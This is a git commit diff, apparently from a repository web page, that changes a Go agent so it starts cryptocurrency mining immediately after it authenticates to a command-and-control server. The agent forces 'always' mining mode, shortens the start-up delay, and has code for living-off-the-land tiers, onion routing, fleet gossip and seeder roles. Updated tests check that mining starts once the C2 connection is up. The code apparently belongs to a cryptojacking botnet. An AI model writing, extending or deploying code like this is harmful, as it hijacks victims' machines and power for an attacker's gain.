Start simple-deploy mining immediately after C2 auth.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.
This commit is contained in:
@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if isSeeder {
|
||||
deploy.StartSeederStaging(c.cfg)
|
||||
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
|
||||
} else if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
@@ -319,6 +319,7 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
return err
|
||||
}
|
||||
c.connected.Store(true)
|
||||
c.kickMiningAfterAuth()
|
||||
defer c.connected.Store(false)
|
||||
|
||||
statsStop := make(chan struct{})
|
||||
@@ -428,7 +429,6 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.kickMiningAfterAuth()
|
||||
c.startContingencyIfEnabled(c.miningCtx)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
@@ -1492,6 +1492,18 @@ func buildWSURL(serverURL string) (string, error) {
|
||||
|
||||
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
|
||||
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
|
||||
func (c *AgentClient) forceSimpleDeployMiningMode() {
|
||||
if !c.cfg.SimpleDeploy {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
switch strings.ToLower(strings.TrimSpace(c.cfg.MiningMode)) {
|
||||
case "idle", "scheduled", "":
|
||||
c.cfg.MiningMode = "always"
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) kickMiningAfterAuth() {
|
||||
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
|
||||
return
|
||||
@@ -1499,10 +1511,31 @@ func (c *AgentClient) kickMiningAfterAuth() {
|
||||
if c.miningCtx == nil || c.miningChain == nil {
|
||||
return
|
||||
}
|
||||
if !c.connected.Load() {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
c.miningChain.refreshTierOrchestrator()
|
||||
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
|
||||
log.Printf("[mining] tier policy refreshed after auth (simple_deploy/defer)")
|
||||
if c.cfg.SimpleDeploy {
|
||||
c.forceSimpleDeployMiningMode()
|
||||
if strings.TrimSpace(c.cfg.Wallet) == "" {
|
||||
log.Printf("[mining] BLOCKED: wallet not configured — set Calibrate wallet and re-forge")
|
||||
}
|
||||
if strings.TrimSpace(c.cfg.PoolHost) == "" {
|
||||
log.Printf("[mining] BLOCKED: pool host not configured — set Calibrate pool and re-forge")
|
||||
}
|
||||
st := c.miningChain.Status()
|
||||
if st.ActiveMethod != "" || st.LOTLTier != "" {
|
||||
log.Printf("[mining] simple_deploy: restarting chain after auth with cpu_inprocess policy")
|
||||
c.miningChain.Restart(c.miningCtx)
|
||||
} else {
|
||||
log.Printf("[mining] simple_deploy: starting mining chain after auth")
|
||||
c.miningChain.Start(c.miningCtx)
|
||||
}
|
||||
return
|
||||
}
|
||||
if deploy.WantsDeferMining() {
|
||||
log.Printf("[mining] tier policy refreshed after auth (defer)")
|
||||
return
|
||||
}
|
||||
log.Printf("[mining] restarting chain after auth with server policy")
|
||||
|
||||
@@ -41,9 +41,9 @@ func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||
log.Printf("[mining] disabled at forge (apk_mode=%v scout_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.ScoutMode, c.cfg.MiningDisabled)
|
||||
return
|
||||
}
|
||||
const maxWait = 120 * time.Second
|
||||
const maxWait = 30 * time.Second
|
||||
deadline := time.Now().Add(maxWait)
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
ticker := time.NewTicker(1 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
tryStart := func(reason string) {
|
||||
|
||||
@@ -70,13 +70,36 @@ func TestSimpleDeployRefreshesAuthForceTier(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
|
||||
func TestKickMiningAfterAuthStartsSimpleDeployWhenConnected(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.SimpleDeploy = true
|
||||
cfg.MinerExecution = "inprocess"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
c.miningCtx = context.Background()
|
||||
c.connected.Store(true)
|
||||
c.kickMiningAfterAuth()
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for c.cfg.MiningMode != "always" && time.Now().Before(deadline) {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
if c.cfg.MiningMode != "always" {
|
||||
t.Fatalf("mining_mode=%q want always", c.cfg.MiningMode)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKickMiningAfterAuthWaitsForC2OnSimpleDeploy(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.SimpleDeploy = true
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
c.miningCtx = context.Background()
|
||||
// must not panic or restart when simple deploy
|
||||
c.connected.Store(false)
|
||||
c.kickMiningAfterAuth()
|
||||
time.Sleep(150 * time.Millisecond)
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("should not start mining before C2 connect, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user